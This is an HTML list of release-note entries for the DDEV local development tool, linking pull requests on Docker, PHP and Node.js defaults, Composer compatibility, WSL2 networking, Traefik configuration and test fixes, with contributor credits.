<li>docs: Update Docker connection failure explanations with more on docker context ls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3610102452" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7833" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7833/hovercard" href="https://github.com/ddev/ddev/pull/7833">#7833</a></li>
<li>chore(images): Remove image build for ddev-nginx-proxy-router by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606713843" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7818" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7818/hovercard" href="https://github.com/ddev/ddev/pull/7818">#7818</a></li>
<li>chore: Remove <code>ddev utility capabilities</code> command completely, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2960861536" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7174" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7174/hovercard" href="https://github.com/ddev/ddev/issues/7174">#7174</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603683200" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7814" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7814/hovercard" href="https://github.com/ddev/ddev/pull/7814">#7814</a></li>
<li>build: fix getopt detection on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616760281" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7846" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7846/hovercard" href="https://github.com/ddev/ddev/pull/7846">#7846</a></li>
<li>docs: Add Claude Code for Web environment configuration guide [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613230423" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7838" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7838/hovercard" href="https://github.com/ddev/ddev/pull/7838">#7838</a></li>
<li>chore(traefik): Remove redundant Traefik rule syntax configuration, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606964158" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7822" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7822/hovercard" href="https://github.com/ddev/ddev/issues/7822">#7822</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607031328" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7823" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7823/hovercard" href="https://github.com/ddev/ddev/pull/7823">#7823</a></li>
<li>chore: Remove NFS support for v1.25.0, remove unused CircleCI config, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603678152" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7810" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7810/hovercard" href="https://github.com/ddev/ddev/issues/7810">#7810</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603679025" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7811" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7811/hovercard" href="https://github.com/ddev/ddev/pull/7811">#7811</a></li>
<li>build: use debian:trixie as base for ddev-webserver by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3443242404" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7649" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7649/hovercard" href="https://github.com/ddev/ddev/pull/7649">#7649</a></li>
<li>fix(heidisql): add default <code>--databases=db</code> to postgres, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608027114" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7830" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7830/hovercard" href="https://github.com/ddev/ddev/pull/7830">#7830</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphaelportmann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphaelportmann">@raphaelportmann</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616947637" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7847" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7847/hovercard" href="https://github.com/ddev/ddev/pull/7847">#7847</a></li>
<li>test(timezone): Windows may show 'Universal' instead of UTC by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3618655010" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7848" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7848/hovercard" href="https://github.com/ddev/ddev/pull/7848">#7848</a></li>
<li>build(deps): bump docker to v29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3611743898" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7835" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7835/hovercard" href="https://github.com/ddev/ddev/pull/7835">#7835</a></li>
<li>test(share): Fix TestShareCmd to handle non-string types in JSON logs by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3621556499" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7851" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7851/hovercard" href="https://github.com/ddev/ddev/pull/7851">#7851</a></li>
<li>fix: remove trailing comma from schema.json by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3620741092" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7850" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7850/hovercard" href="https://github.com/ddev/ddev/pull/7850">#7850</a></li>
<li>fix: Disable 64-bit file system redirection in Windows installer Section to access wsl.exe by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613492688" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7839" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7839/hovercard" href="https://github.com/ddev/ddev/pull/7839">#7839</a></li>
<li>test(typo3): Fix Apache version of TYPO3 TestDdevFullSiteSetup and untarring symlinks, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3548109039" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7754" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7754/hovercard" href="https://github.com/ddev/ddev/issues/7754">#7754</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2842752869" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6972" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6972/hovercard" href="https://github.com/ddev/ddev/issues/6972">#6972</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606439641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7817" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7817/hovercard" href="https://github.com/ddev/ddev/pull/7817">#7817</a></li>
<li>test(pantheon): fix TestPantheonPush, which was broken by composer 2.9 [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623124667" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7854" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7854/hovercard" href="https://github.com/ddev/ddev/pull/7854">#7854</a></li>
<li>test: Add CI tests for ddev-hostname with passwordless sudo, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586971253" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7795" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7795/hovercard" href="https://github.com/ddev/ddev/issues/7795">#7795</a> [skip buildkite] by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623170551" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7855" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7855/hovercard" href="https://github.com/ddev/ddev/pull/7855">#7855</a></li>
<li>test: prevent panic in TestDownloadAndExtractTarball when cleanup is nil, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3447199766" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7652" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7652/hovercard" href="https://github.com/ddev/ddev/issues/7652">#7652</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623182052" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7857" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7857/hovercard" href="https://github.com/ddev/ddev/pull/7857">#7857</a></li>
<li>chore: Change xhprof_mode default from prepend to xhgui, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603673779" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7808" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7808/hovercard" href="https://github.com/ddev/ddev/issues/7808">#7808</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603674354" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7809" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7809/hovercard" href="https://github.com/ddev/ddev/pull/7809">#7809</a></li>
<li>docs: clarify instructions for disabling mutagen on a single project by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/q0rban/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/q0rban">@q0rban</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626113413" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7861" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7861/hovercard" href="https://github.com/ddev/ddev/pull/7861">#7861</a></li>
<li>test: Can't do ddev-hostname on WSL2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626004990" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7860" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7860/hovercard" href="https://github.com/ddev/ddev/pull/7860">#7860</a></li>
<li>test: default key expiration 90 days, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608140893" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7831" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7831/hovercard" href="https://github.com/ddev/ddev/pull/7831">#7831</a> [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633922863" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7873" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7873/hovercard" href="https://github.com/ddev/ddev/pull/7873">#7873</a></li>
<li>chore(nodejs): Change default nodejs_version for new projects to 24, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606899582" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7819" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7819/hovercard" href="https://github.com/ddev/ddev/issues/7819">#7819</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606952540" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7821" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7821/hovercard" href="https://github.com/ddev/ddev/pull/7821">#7821</a></li>
<li>ci(golangci-lint): add import-shadowing check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3627089815" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7865" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7865/hovercard" href="https://github.com/ddev/ddev/pull/7865">#7865</a></li>
<li>test: stop project after addon tests that create docker-compose services, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3398423333" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7607" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7607/hovercard" href="https://github.com/ddev/ddev/issues/7607">#7607</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623187908" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7858" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7858/hovercard" href="https://github.com/ddev/ddev/pull/7858">#7858</a></li>
<li>docs(fritzbox): Update FritzBox references and point to new blog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3628900206" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7867" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7867/hovercard" href="https://github.com/ddev/ddev/pull/7867">#7867</a></li>
<li>chore: Remove <code>ddev service</code> command, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603680999" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7812" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7812/hovercard" href="https://github.com/ddev/ddev/issues/7812">#7812</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603681630" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7813" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7813/hovercard" href="https://github.com/ddev/ddev/pull/7813">#7813</a></li>
<li>chore(deprecation): remove ddev nvm functionality in v1.25.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607275294" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7826" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7826/hovercard" href="https://github.com/ddev/ddev/pull/7826">#7826</a></li>
<li>fix(quickstart): temporarily install Composer from snapshot for 2.9 compatibility by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626977833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7864" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7864/hovercard" href="https://github.com/ddev/ddev/pull/7864">#7864</a></li>
<li>docs(xdebug): Add details on how to repair WSL2 networking by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3640543977" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7879" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7879/hovercard" href="https://github.com/ddev/ddev/pull/7879">#7879</a></li>
<li>docs: fix MD060 table column style errors for markdownlint v0.37+ [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643053722" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7882" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7882/hovercard" href="https://github.com/ddev/ddev/pull/7882">#7882</a></li>
<li>test(quickstart): pin Composer to 2.8.12 for Magento 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643114073" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7883" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7883/hovercard" href="https://github.com/ddev/ddev/pull/7883">#7883</a></li>
<li>test(wsl-mirrored): Skip TestGetLocalHTTPResponse on WSL2 mirrored by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643684702" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7884" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7884/hovercard" href="https://github.com/ddev/ddev/pull/7884">#7884</a></li>
<li>feat: Change default PHP version to 8.4, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634133257" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7874" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7874/hovercard" href="https://github.com/ddev/ddev/issues/7874">#7874</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634135609" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7875" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7875/hovercard" href="https://github.com/ddev/ddev/pull/7875">#7875</a></li>
<li>chore(composer): remove <code>--snapshot</code> workaround, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626977833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7864" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7864/hovercard" href="https://github.com/ddev/ddev/pull/7864">#7864</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3646682854" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7887" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7887/hovercard" href="https://github.com/ddev/ddev/pull/7887">#7887</a></li>
<li>test(quickstart): fix Backdrop, FrankenPHP, Grav by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3646670989" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7886" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7886/hovercard" href="https://github.com/ddev/ddev/pull/7886">#7886</a></li>
<li>fix: Add gpgv, configure APT, convert sources to deb822 (except mariadb), update script references, and add audit tests to prevent SHA1 key trust failures in February 2026, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3618938410" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7849" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7849/hovercard" href="https://github.com/ddev/ddev/issues/7849">#7849</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634197394" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7877" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7877/hovercard" href="https://github.com/ddev/ddev/pull/7877">#7877</a></li>
<li>test(windows): make sure we have a  clean install distro by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3655266651" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7891" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7891/hovercard" href="https://github.com/ddev/ddev/pull/7891">#7891</a></li>
<li>docs: stop recommending Stack Overflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658941875" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7895" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7895/hovercard" href="https://github.com/ddev/ddev/pull/7895">#7895</a></li>
<li>test(quickstart): fix frankenphp build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3652421873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7889" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7889/hovercard" href="https://github.com/ddev/ddev/pull/7889">#7889</a></li>
<li>docs: update TYPO3 link by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3659715510" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7898" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7898/hovercard" href="https://github.com/ddev/ddev/pull/7898">#7898</a></li>
<li>build(curl): use trixie-backports to install newer curl by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3659620005" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7897" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7897/hovercard" href="https://github.com/ddev/ddev/pull/7897">#7897</a></li>
<li>fix(xdebug): Use a more sophisticated search for windows host ip address on WSL mirrored mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3640686765" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7880" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7880/hovercard" href="https://github.com/ddev/ddev/pull/7880">#7880</a></li>
<li>test(typo3): Fix TYPO3 quickstart, failing since TYPO3 v14.0.0 released by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3660976030" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7901" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7901/hovercard" href="https://github.com/ddev/ddev/pull/7901">#7901</a></li>
<li>fix: db port should be integer in generated TYPO3 AdditionalConfiguration.php, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658026373" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7892" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7892/hovercard" href="https://github.com/ddev/ddev/issues/7892">#7892</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658037285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7893" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7893/hovercard" href="https://github.com/ddev/ddev/pull/7893">#7893</a></li>
<li>test(quickstart): php8.3 for silverstripe and symfony, disable typo3 v13 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672156537" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7909" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7909/hovercard" href="https://github.com/ddev/ddev/pull/7909">#7909</a></li>
<li>fix(commands): make <code>HostWorkingDir</code> respect <code>WebWorkingDir</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3669387046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7907" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7907/hovercard" href="https://github.com/ddev/ddev/pull/7907">#7907</a></li>
<li>build(docker): add more php8.5 packages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3671208529" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7908" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7908/hovercard" href="https://github.com/ddev/ddev/pull/7908">#7908</a></li>
